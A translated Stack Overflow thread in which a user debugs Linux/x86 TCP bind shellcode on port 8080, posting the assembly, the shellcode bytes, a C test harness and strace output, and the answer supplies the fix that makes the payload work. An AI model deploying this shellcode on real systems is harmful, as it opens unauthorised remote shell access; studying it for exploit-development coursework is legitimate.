【问题标题】:TCP Bind Shellcode not working with Shellcode length fileTCP Bind Shellcode 不适用于 Shellcode 长度文件
【发布时间】:2018-03-04 10:27:58
【问题描述】:

我在一个 32 位 Linux 系统上,我正在为 TCP Bind 编写 Linux/x86 shellcode。基于 Linux 手册页如下:

;;; Will be using socketcall - 102 for socket related calls


global _start

section .text

    _start:

;;Socket
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;# ;Register    ; Desired Input ; Actual Value to be passed
;1 ;EAX     ; SOCKETCALL    ; 102 (dec), 0x66 (hex)     
;2 ;EBX     ; CALL      ; 1 (for SOCKET)        
;3 ;ECX     ; args      ; AF_INET = 2, SOCK_STREAM = 1, IPPROTO_IP = 0
;4 ;EDX     ; dont care
;5 ;EDI     ; dont care
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


    xor ebx, ebx    ; cleaning EBX
    mul ebx     ; cleaning EAX

    push eax    ; IPPROTO_IP = 0
    push byte 1 ; SOCK_STREAM = 1
    push byte 2 ; AF_INET = 2
    mov ecx, esp    ; Moved Stack content to ECX

    mov al, 102 
    inc bl
    int 0x80
    xchg edi, eax   ; Got new socket descriptor. Will be used for further calls

;;Bind
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;# ;Register    ; Desired Input ; Actual Value to be passed
;1 ;EAX     ; SOCKETCALL    ; 102 (dec), 0x66 (hex)     
;2 ;EBX     ; CALL      ; 2 (for BIND)      
;3 ;ECX     ; args      ; SOCKFD = EDI, addr_in{AF_INET = 2, port number = network byte order, INADDR_ANY = 0}, addr_len = 16
;4 ;EDX     ; dont care
;5 ;EDI     ; New Socket descriptor
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    pop edx
    xor ecx, ecx
    mul eax

    ; this is for struct addr_in
    push ecx    ; INADDR_ANY = 0
    push word 0x901f; Port 8080
    push word 0x2   ; AF_INET = 2
    mov ecx, esp    ; moved details to ecx

    push 0x10   ; standard ip address length
    push ecx    ; pushing addr_in
    push edi    ; SOCKFD value
    mov ecx, esp    ; got all arg in ECX
    mov al, 102 ;
    inc bl
    int 0x80    

;;Listen
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;# ;Register    ; Desired Input ; Actual Value to be passed
;1 ;EAX     ; SOCKETCALL    ; 102 (dec), 0x66 (hex)     
;2 ;EBX     ; CALL      ; 4 (for LISTEN)        
;3 ;ECX     ; args      ; SOCKFD = EDI, backlog = 0
;4 ;EDX     ; dont care
;5 ;EDI     ; dont care
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    pop edx
    xor ecx, ecx
    mul eax


    push ecx    ; backlog = 0
    push edi    ; SOCKFD = EDI
    mov ecx, esp    ; Stored params to ECX
    mov al, 102
    mov bl, 4
    int 0x80

;;Accept
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;# ;Register    ; Desired Input ; Actual Value to be passed
;1 ;EAX     ; SOCKETCALL    ; 102 (dec), 0x66 (hex)     
;2 ;EBX     ; CALL      ; 4 (for LISTEN)        
;3 ;ECX     ; args      ; SOCKFD = EDI, backlog = 0
;4 ;EDX     ; dont care
;5 ;EDI     ; dont care
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


    pop edx
    xor edx, edx
    xor ecx, ecx
    mul eax


    push ecx    ; NULL
    push ecx    ; NULL
    push edi    ; SOCKFD = EDI
    mov ecx, esp    ; Stored params to ECX
    mov al, 102
    inc bl
    int 0x80
    mov ebx, eax    ; oldfd

;;Dup2
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;# ;Register    ; Desired Input ; Actual Value to be passed
;1 ;EAX     ; DUP2      ; 63 (dec),  (hex)      
;2 ;EBX     ; oldfd     ; EDX       
;3 ;ECX     ; newfd     ; SOCKFD = EDI, backlog = 0
;4 ;EDX     ; dont care
;5 ;EDI     ; dont care
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    xor ecx, ecx
    mul eax
    mov cl, 2

dup2:
    mov al, 63
    int 0x80
    dec ecx
    jns dup2

;;Execve for /bin/sh

    xor eax,eax
    push eax
        push 0x68732f2f      ; hs// - take care to the little endian representation
    push 0x6e69622f      ; nib/
    mov ebx, esp         ; pointer to command string
    mov ecx, eax
    mov edx, eax
    mov al, 11           ; __NR_execve
    int 0x80

现在当我正常组装和运行它时,它可以完美运行。

1:https://i.stack.imgur.com/adTm4.jpg

对象转储没有任何 NULL 字符。

shashank@ubuntu:~/Desktop/Exam/task1_take3$ objdump -Mintel -d tcp_bind

tcp_bind:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:   31 db                   xor    ebx,ebx
 8048062:   f7 e3                   mul    ebx
 8048064:   50                      push   eax
 8048065:   6a 01                   push   0x1
 8048067:   6a 02                   push   0x2
 8048069:   89 e1                   mov    ecx,esp
 804806b:   b0 66                   mov    al,0x66
 804806d:   fe c3                   inc    bl
 804806f:   cd 80                   int    0x80
 8048071:   97                      xchg   edi,eax
 8048072:   5a                      pop    edx
 8048073:   31 c9                   xor    ecx,ecx
 8048075:   f7 e0                   mul    eax
 8048077:   51                      push   ecx
 8048078:   66 68 1f 90             pushw  0x901f
 804807c:   66 6a 02                pushw  0x2
 804807f:   89 e1                   mov    ecx,esp
 8048081:   6a 10                   push   0x10
 8048083:   51                      push   ecx
 8048084:   57                      push   edi
 8048085:   89 e1                   mov    ecx,esp
 8048087:   b0 66                   mov    al,0x66
 8048089:   fe c3                   inc    bl
 804808b:   cd 80                   int    0x80
 804808d:   5a                      pop    edx
 804808e:   31 c9                   xor    ecx,ecx
 8048090:   f7 e0                   mul    eax
 8048092:   51                      push   ecx
 8048093:   57                      push   edi
 8048094:   89 e1                   mov    ecx,esp
 8048096:   b0 66                   mov    al,0x66
 8048098:   b3 04                   mov    bl,0x4
 804809a:   cd 80                   int    0x80
 804809c:   5a                      pop    edx
 804809d:   31 d2                   xor    edx,edx
 804809f:   31 c9                   xor    ecx,ecx
 80480a1:   f7 e0                   mul    eax
 80480a3:   51                      push   ecx
 80480a4:   51                      push   ecx
 80480a5:   57                      push   edi
 80480a6:   89 e1                   mov    ecx,esp
 80480a8:   b0 66                   mov    al,0x66
 80480aa:   fe c3                   inc    bl
 80480ac:   cd 80                   int    0x80
 80480ae:   89 c3                   mov    ebx,eax
 80480b0:   31 c9                   xor    ecx,ecx
 80480b2:   f7 e0                   mul    eax
 80480b4:   b1 02                   mov    cl,0x2

080480b6 <dup2>:
 80480b6:   b0 3f                   mov    al,0x3f
 80480b8:   cd 80                   int    0x80
 80480ba:   49                      dec    ecx
 80480bb:   79 f9                   jns    80480b6 <dup2>
 80480bd:   31 c0                   xor    eax,eax
 80480bf:   50                      push   eax
 80480c0:   68 2f 2f 73 68          push   0x68732f2f
 80480c5:   68 2f 62 69 6e          push   0x6e69622f
 80480ca:   89 e3                   mov    ebx,esp
 80480cc:   89 c1                   mov    ecx,eax
 80480ce:   89 c2                   mov    edx,eax
 80480d0:   b0 0b                   mov    al,0xb
 80480d2:   cd 80                   int    0x80

我提取了shellcode并添加了以下代码来检查shellcode长度:

shashank@ubuntu:~/Desktop/Exam/task1_take3$ ./shell_extracter.sh tcp_bind

"\x31\xdb\xf7\xe3\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x97\x5a\x31\xc9\xf7\xe0\x51\x66\x68\x1f\x90\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x5a\x31\xc9\xf7\xe0\x51\x57\x89\xe1\xb0\x66\xb3\x04\xcd\x80\x5a\x31\xd2\x31\xc9\xf7\xe0\x51\x51\x57\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc3\x31\xc9\xf7\xe0\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"

添加了shellcode的Shellcode长度代码:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xdb\xf7\xe3\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x97\x5a\x31\xc9\xf7\xe0\x51\x66\x68\x1f\x90\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x5a\x31\xc9\xf7\xe0\x51\x57\x89\xe1\xb0\x66\xb3\x04\xcd\x80\x5a\x31\xd2\x31\xc9\xf7\xe0\x51\x51\x57\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc3\x31\xc9\xf7\xe0\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80";


main(){

    printf("Length: %d\n", strlen(code));

    int (*ret)() = (int (*) ())code;    

    ret();

}

但是当我编译并执行这段代码时,shell 在本地执行并且没有打开端口。

shashank@ubuntu:~/Desktop/Exam/task1_take3$ gcc -fno-stack-protector -zexecstack -o shell_length shell_length.c 
shell_length.c:8:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
 main(){
 ^
shashank@ubuntu:~/Desktop/Exam/task1_take3$ ./shell_length
Length: 116
$ 

我不确定为什么会遇到此错误。我已经尝试了一切。

文件可通过Github link获取


tcp_bind 可执行文件的 Strace:

Strace for original NASM program:

shashank@ubuntu:~/Desktop/Exam/task1_take3$ strace -e socket,bind,listen,accept,dup2,execve ./tcp_bind
execve("./tcp_bind", ["./tcp_bind"], [/* 60 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(8080), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 1)                            = 0
accept(3, NULL, NULL)                   = 4
dup2(4, 2)                              = 2
dup2(4, 1)                              = 1
dup2(4, 0)                              = 0
execve("/bin//sh", NULL, NULL)          = 0
+++ exited with 0 +++

Shell_length.c 可执行文件的跟踪

strace -e socket,bind,listen,accept,dup2,execve ./shell_length
execve("./shell_length", ["./shell_length"], [/* 60 vars */]) = 0
Length: 117
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
syscall_3288334438(0x2, 0xbfd116a0, 0x842a42e4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)
syscall_1382(0x4, 0xbfd1169c, 0xffffffb4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)
syscall_1382(0x5, 0xbfd11694, 0xffffffb4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)
syscall_1343(0xffffffda, 0x2, 0xffffffb4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)
syscall_4294967103(0xffffffda, 0x1, 0xffffffb4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)
syscall_4294967103(0xffffffda, 0, 0xffffffb4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)
execve("/bin//sh", NULL, NULL)          = 0
$ 

【问题讨论】:

  • 您确定将程序编译为 32 位程序吗?
  • 请添加 strace 输出
  • 对我来说,第一个代码也不起作用。修复 listenbacklog 参数,两者都有效。
  • @fuz 是的。
  • @PeterCordes :您没有看到他必须在 32 位系统中。如果有人查看他的 github,他与 ld 链接的脚本表明他使用的是 32 位 Linux 系统,因为它缺少 -melf_i386。当我在发布答案后最终运行他的脚本时,我注意到链接器在我的 64 位系统上抱怨。他在问题中的objdump 输出确实说file format elf32-i386 所以在他的环境中这不是问题。

标签: linux gcc assembly x86 shellcode


【解决方案1】:

为什么您的系统调用号码损坏

您的strace 很好地说明了您的问题所在。您会注意到sys_socket 系统调用有效并返回了描述符 3:

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3

这没关系,正如您所期望的那样。下一个系统调用是一个无效的系统调用号,它告诉我 EAX 中包含无效数据(以及每个后续的数据):

syscall_3288334438(0x2, 0xbfd116a0, 0x842a42e4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)

如果您将系统调用号 3288334438(十进制)转换为十六进制,您将得到 0xC4000066。 EAX 的高位因此有垃圾。低字节是 0x66,即 102。102 实际上是您使用的sys_bind 系统调用号。由于 EAX 有一个未知的系统调用号,它会打印出所有可能已用于系统调用的寄存器的内容。 32 位系统调用的寄存器(通过int 0x80)依次为EBXECXEDXESI、EDIEBP

显然 EAX 对于sys_socket 系统调用来说不是问题。我查看了在第一次系统调用后如何使用 EAX 并注意到这一点:

xchg edi, eax   ; Got new socket descriptor. Will be used for further calls

问题是在此之前您从未将 EDI 初始化为零。您有效地将文件描述符移动到 EDI 并将潜在的垃圾移动到 EAX。我相信这是导致您的系统调用失败的原因。可能还有其他的,但这解释了所有无效的系统调用。在执行xchg 之前,您应该至少将EDI 归零。这样就足够了:

xor edi, edi

它作为独立程序运行时工作的原因是因为 EDI 可能已经为 0(或高位为 0)。


学习使用调试器

除了了解如何解释来自strace 的输出之外,一个有价值的工具是在 GDB 等调试器中运行您的代码。您将能够进入 shell 漏洞利用并查看寄存器内容以及您在内存(堆栈)中放置的数据。您也可能会使用调试器发现此问题。

【讨论】:

  • 你是生命的救星。这解决了这个问题。非常感谢你。是的,我会提高我的 GDB 技能。 :)
猜你喜欢
  • 2021-09-25
  • 1970-01-01
  • 2013-11-01
  • 1970-01-01
  • 1970-01-01
  • 2014-10-21
  • 1970-01-01
  • 2015-02-06
  • 1970-01-01
相关资源
最近更新 更多